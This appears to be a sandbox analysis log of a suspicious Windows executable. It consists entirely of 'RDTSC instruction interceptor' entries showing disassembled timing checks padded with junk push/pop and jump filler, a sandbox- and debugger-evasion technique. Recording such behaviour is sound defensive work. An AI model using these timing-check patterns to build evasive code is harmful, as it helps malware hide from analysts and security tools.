Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB91B6 second address: CB91BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB91BA second address: CB91CA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jg 00007F0550733D06h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB91CA second address: CB91D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB91D0 second address: CB91F0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0550733D0Ch 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 push edi 0x00000012 jng 00007F0550733D06h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB942F second address: CB9437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CB9556 second address: CB9567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CBE483 second address: CBE493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jno 00007F0550D663C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CBE602 second address: CBE61C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D15h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CC08AD second address: CC08C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F0550D663D1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CC5AED second address: CC5AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CC5AF3 second address: CC5AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CC5AFA second address: CC5B27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0550733D10h 0x00000009 jmp 00007F0550733D19h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CC5E36 second address: CC5E40 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0550D663C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CC6F14 second address: CC6F1E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CC720E second address: CC721E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F0550D663C6h 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CC7759 second address: CC775D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CC775D second address: CC7772 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F0550D663C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d js 00007F0550D663C6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CCC2EC second address: CCC30A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0550733D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0550733D0Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jnc 00007F0550733D06h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CCC30A second address: CCC30E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CCC30E second address: CCC32E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0550733D06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0550733D11h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CCB7DF second address: CCB7E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CD09B9 second address: CD09BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CD9611 second address: CD9616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CD9616 second address: CD961D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C227F5 second address: C22825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0550D663CDh 0x00000009 jmp 00007F0550D663D8h 0x0000000e jne 00007F0550D663C6h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C22825 second address: C2282F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0550733D0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CD7C42 second address: CD7C5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CD7C5B second address: CD7C61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CD7C61 second address: CD7C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F0550D663C6h 0x0000000e jbe 00007F0550D663C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CD8251 second address: CD8255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CD8255 second address: CD8287 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0550D663C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0550D663CBh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0550D663D9h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CD866C second address: CD8682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0550733D0Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CD949D second address: CD94B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0550D663D1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CD7427 second address: CD742C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CD742C second address: CD7431 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CE0918 second address: CE0924 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F0550733D06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CE0924 second address: CE0935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0550D663CBh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CE0935 second address: CE0939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CE0939 second address: CE093D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CE093D second address: CE094B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CE065C second address: CE0662 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CE0662 second address: CE0666 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CEFB5C second address: CEFB66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0550D663C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CEFB66 second address: CEFBA5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0550733D0Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jo 00007F0550733D0Eh 0x00000011 pushad 0x00000012 popad 0x00000013 jg 00007F0550733D06h 0x00000019 pushad 0x0000001a jmp 00007F0550733D10h 0x0000001f js 00007F0550733D06h 0x00000025 pushad 0x00000026 popad 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CEFBA5 second address: CEFBAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CEF6B9 second address: CEF6BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CF7AA4 second address: CF7AAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CF7AAD second address: CF7AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CF7AB3 second address: CF7AB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CF7AB7 second address: CF7ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CF7ABF second address: CF7AC9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0550D663CEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CF9D1E second address: CF9D22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: CF9D22 second address: CF9D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D00BB8 second address: D00BBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D00BBE second address: D00BC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D021DF second address: D021E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D021E3 second address: D021E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D021E7 second address: D021EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D021EF second address: D02206 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663CDh 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F0550D663C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D02206 second address: D0220A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D07F92 second address: D07FB0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F0550D663C8h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0550D663CAh 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D0E661 second address: D0E667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D0E667 second address: D0E68C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0550D663D9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D0E68C second address: D0E6C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jp 00007F0550733D3Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0550733D13h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D0E6C6 second address: D0E6CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D0D378 second address: D0D37C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D0D4C6 second address: D0D500 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0550D663D9h 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D0D500 second address: D0D54B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007F0550733D06h 0x0000000c popad 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F0550733D0Dh 0x00000015 pop edi 0x00000016 jmp 00007F0550733D16h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F0550733D13h 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D0D54B second address: D0D551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D0D6D8 second address: D0D6E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0550733D06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D0E36B second address: D0E371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D0E371 second address: D0E37D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0550733D08h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D0E37D second address: D0E389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnl 00007F0550D663C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D12E26 second address: D12E2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D12E2A second address: D12E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D12E32 second address: D12E51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0550733D19h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D12E51 second address: D12E5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F0550D663C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D22B7A second address: D22B89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0550733D0Ah 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D22B89 second address: D22B9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0550D663D0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D30B03 second address: D30B07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D359AF second address: D359B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4C6D5 second address: D4C6FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0550733D0Eh 0x00000009 pushad 0x0000000a popad 0x0000000b jo 00007F0550733D06h 0x00000011 popad 0x00000012 push ebx 0x00000013 jne 00007F0550733D06h 0x00000019 push eax 0x0000001a pop eax 0x0000001b pop ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4C6FE second address: D4C702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4C702 second address: D4C730 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0550733D14h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4CB64 second address: D4CB6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F0550D663C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4CE77 second address: D4CE7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4CE7E second address: D4CE83 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4CE83 second address: D4CE8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4CE8F second address: D4CE93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4CFFA second address: D4D020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0550733D06h 0x0000000a jmp 00007F0550733D11h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F0550733D06h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4D020 second address: D4D026 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4D426 second address: D4D42C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4D42C second address: D4D461 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F0550D663CEh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jl 00007F0550D663DCh 0x00000017 push ebx 0x00000018 jo 00007F0550D663C6h 0x0000001e pop ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 push edx 0x00000024 pop edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4EE01 second address: D4EE23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0550733D15h 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4EE23 second address: D4EE29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4EE29 second address: D4EE2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4EE2D second address: D4EE31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
